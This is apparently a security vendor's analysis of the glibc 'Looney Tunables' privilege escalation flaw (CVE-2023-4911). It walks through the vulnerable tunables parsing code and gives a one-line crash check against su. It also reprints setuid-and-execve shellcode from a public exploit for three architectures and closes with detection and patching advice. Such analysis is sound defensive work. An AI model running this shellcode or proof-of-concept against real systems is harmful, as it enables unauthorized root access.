Coauthored by Arpit Kataria of Uptycs Threat Research Team
A significant new vulnerability (CVE-2023-4911), also known as the "Looney Tunables" exploit, has been identified in a wide range of Linux systems. The flaw resides in the GLIBC_TUNABLES feature of the GNU C Library (GLIBC), a standard setting that allows users to customize runtime behaviors in Linux. Unfortunately, this feature is susceptible to manipulation through poorly formed input, potentially granting attackers unauthorized elevated system privileges. Immediate attention and remediation are required to secure affected systems and prevent exploitation.
The consequences of this exploit range from potential data breaches to a total system takeover, especially in systems running unpatched versions of glibc.
Security implications of glibc's "Looney tunables" exploit
When it comes to the security of a computer system, the importance of the GNU C Library, often referred to as glibc, cannot be overstated. Glibc serves as the cornerstone of the Linux operating system, responsible for providing fundamental functions and system calls that enable applications to run smoothly. However, its critical role also makes it an enticing target for security researchers and attackers alike. Over the years, numerous vulnerabilities have been discovered in glibc, some with significant consequences for system security.
Dynamic loader is a fundamental component of the glibc library and other similar libraries on Unix-like operating systems. The dynamic loader is responsible for finding, loading, and initializing shared objects or shared libraries needed by a program when it is executed. These shared libraries contain code and data that multiple programs can use simultaneously, helping to optimize memory usage and promote code reuse. The dynamic loader's primary role is to locate the shared libraries required by a program, set up the program's execution environment, and then execute the program.
The dynamic loader is of extreme security importance. It operates with elevated privileges in certain scenarios, specifically when a local user executes programs with special privileges. These scenarios include running set-user-ID (setuid) programs, set-group-ID (setgid) programs, or programs with Linux capabilities.
The tunable exploit in glibc, often referred to as the "Looney tunables" vulnerability identified as CVE-2023-4911, is a local privilege escalation issue that affects various Linux distributions, including Fedora, Ubuntu, Debian, and more. An exception is alpine because it uses musl libc, not glibc. This exploit leverages a weakness in the dynamic loader through the GLIBC_TUNABLES environment variable. A "tunable" in glibc is a mechanism that allows you to modify the library's behavior without recompilation, making it useful for debugging and fine-tuning purposes.
Technical details
When you run a program in Linux, especially one that relies on shared libraries, like .so files, the operating system has to bring in these libraries and connect them to your program. This way, your program can use functions from these shared libraries while it's running. This process is taken care of by a special program called "ld.so," which is usually part of the glibc library. Every program in Linux has a part called ".interp," which tells the operating system where to find the specific ld.so it needs. This ensures that the right loader is used for each program.
When you compile a program, you can tell ld.so (the library loader) to search in specific places for libraries. These locations are then saved in your program's ELF file. When you run your program, ld.so will check these locations first, giving you the ability to choose where it looks for libraries, instead of relying on the default paths.
To leverage this vulnerability, attackers can manipulate the way programs locate shared libraries. They can craft a program to specify an alternate path, pointing to a tampered shared library loaded with malicious code aiming to escalate privileges. While the loader typically conducts thorough checks to sanitize such operations, there exists a loophole in its process that it doesn't address, and this oversight is what attackers target.
Let’s analyze the vulnerable code:
269 void
270 __tunables_init (char **envp)
271 {
272 char *envname = NULL;
273 char *envval = NULL;
274 size_t len = 0;
275 char **prev_envp = envp;
...
279 while ((envp = get_next_env (envp, &envname, &len, &envval,
280 &prev_envp)) != NULL)
281 {
282 if (tunable_is_name ("GLIBC_TUNABLES", envname))
283 {
284 char *new_env = tunables_strdup (envname);
285 if (new_env != NULL)
286 parse_tunables (new_env + len + 1, envval);
287 /* Put in the updated envval. */
288 *prev_envp = new_env;
289 continue;
290 }
This code is responsible for processing the GLIBC_TUNABLES environment variable, which enables developers to adjust the behavior of runtime libraries dynamically. The primary purpose of this code is to extract and interpret the tunable settings specified in GLIBC_TUNABLES, ensuring that they won't introduce security vulnerabilities or unexpected behaviors.
We can see in line 282, the code scans through the environment variables to find any variables named “GLIBC_TUNABLES”. When it finds one, it takes the content of that variable and places it in a new variable called new_env. Later, at line 286, a method named parse_tunables is invoked to clean and prepare the data within new_env. This environment variable is essential because it provides developers with a way to fine-tune the behavior of the GLIBC libraries based on their application's specific requirements.
Let’s look at parse_tunables method:
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
The function parse_tunables() comes into play to dissect the GLIBC_TUNABLES content. It's responsible for breaking down the GLIBC_TUNABLES into individual name-value pairs, primarily by looking for equal signs (=) and colons (:) in the copied data. Importantly, the code is security-conscious. It spots and removes potentially risky tunables tagged as SXID_ERASE, which could command GLIBC to tinker with security attributes or permissions, possibly jeopardizing system safety.
A crucial issue arises when GLIBC_TUNABLES holds unexpected input, like "tunable1=tunable2=AAA." Here's the problem: the code doesn't handle this kind of malformed input. Instead of rejecting it, it mistakenly treats the entire input as a valid setting. This hiccup occurs when the tunables are of type SXID_IGNORE, which should be left untouched. During the first loop run, the entire "tunable1=tunable2=AAA" is crammed into tunestr, going beyond its allocated space. This overflow might lead to unpredictable outcomes or security concerns.
Exploitation
Before we get technical let’s see the POC we can execute to determine whether or not our system is vulnerable.
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Figure 1 - Proof-of-concept command to check if the system is vulnerable or not
If we get output as “Segmentation fault (core dumped)” that means our system is vulnerable. Otherwise, it will open the help menu.
Now let’s look at the exploit shared by blasty and reverse engineer the exploit. Here an important point to note is before executing code from an untrusted source, we should look at the code to see if there is any malicious code or not. If we are not able to identify, we should always execute in a sandbox environment.
Upon analyzing the exploit code, we observed that it searches for "libc.so.6". Once found, it modifies this file to incorporate a malicious shellcode. Subsequently, the exploit creates a new directory and copies the tampered file into it. When the program runs, it references this modified file.
ARCH = {
"i686": {
"shellcode": unhex(
"6a3158cd8089c36a465889d9cd80"
+ "6a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80"
),
"exitcode": unhex("6a665b6a0158cd80"),
"stack_top": 0xC0000000,
"stack_aslr_bits": 23,
},
"x86_64": {
"shellcode": unhex(
"6a6b580f0589c789c289c66a75580f05"
+ "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
),
"exitcode": unhex("6a665f6a3c580f05"),
"stack_top": 0x800000000000,
"stack_aslr_bits": 34,
},
"aarch64": {
"shellcode": unhex(
"e81580d2010000d4e10300aae20300aa681280d2010000d4"
+ "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
),
"exitcode": unhex("c00c80d2a80b80d2010000d4"),
"stack_top": 0x1000000000000,
"stack_aslr_bits": 30,
},
}
Let’s analyze the shell code of x86_64. We are using the below python script and opening the output in Ghidra.
shellcode = "6a665f6a3c580f05" # This is the exit code
with open("shellcode_analyze.out", "wb") as f:
f.write(bytes.fromhex(shellcode))
Figure 2 - Decompiled view of the shellcode
Here we can see that whenever SYSCALL is made it will return “60,” which is the exit code. Refer to Linux System Call Tables.
Now let’s analyze the malicious shellcode i.e. "6a6b580f0589c789c289c66a75580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
Figure 3 - Detailed decompiled view of the shellcode
When we run our Python script on this and open the output in Ghidra we observe there are 3 SYSCALLS made with code 107, 117, 59. 107 stands for getting effective user_id, 117 stands for setting user_id, and 59 stands for sys_execve which is used to execute programs.
Basically, it goes by the file owner: as long as the file owner is root it will escalate the privileges.
Let’s execute the exploit and see if we get the shell with elevated privileges.
Figure 4 - Exploitation of the vulnerability
We get the shell with elevated privileges, but we observe one more thing in the /var/log/kern.log, There are a lot of segfault errors which indicate it is a local account brute force and this exploit actually triggered that, so it is a noisy exploit.
Figure 5 - Segfault Storm in /var/log/kern.log
Detection through Uptycs XDR
Should your system have a vulnerable version of glibc, Uptycs XDR offers robust vulnerability scanning features for timely detection. Uptycs XDR stores vulnerability scan results in a dedicated table, accessible via SQL queries, as shown below:
select cve_list, package_name, package_version, cvss_score, os from vulnerabilities where cve_list = 'CVE-2023-4911'
Figure 6 - Detection of the vulnerability in Uptycs XDR
To address this vulnerability, it is crucial to update the glibc library to the latest version available. This update will contain patches and security enhancements to mitigate the "Looney tunables" vulnerability.
Conclusion
In conclusion, CVE-2023-4911 is a serious local privilege escalation vulnerability, and its exploitation could lead to severe security breaches. System administrators and users should be aware of this issue and take necessary measures to patch their systems and safeguard against potential attacks. Additionally, monitoring system logs for any unusual activities, such as segfault errors, is crucial in identifying and responding to attempts to exploit this vulnerability.
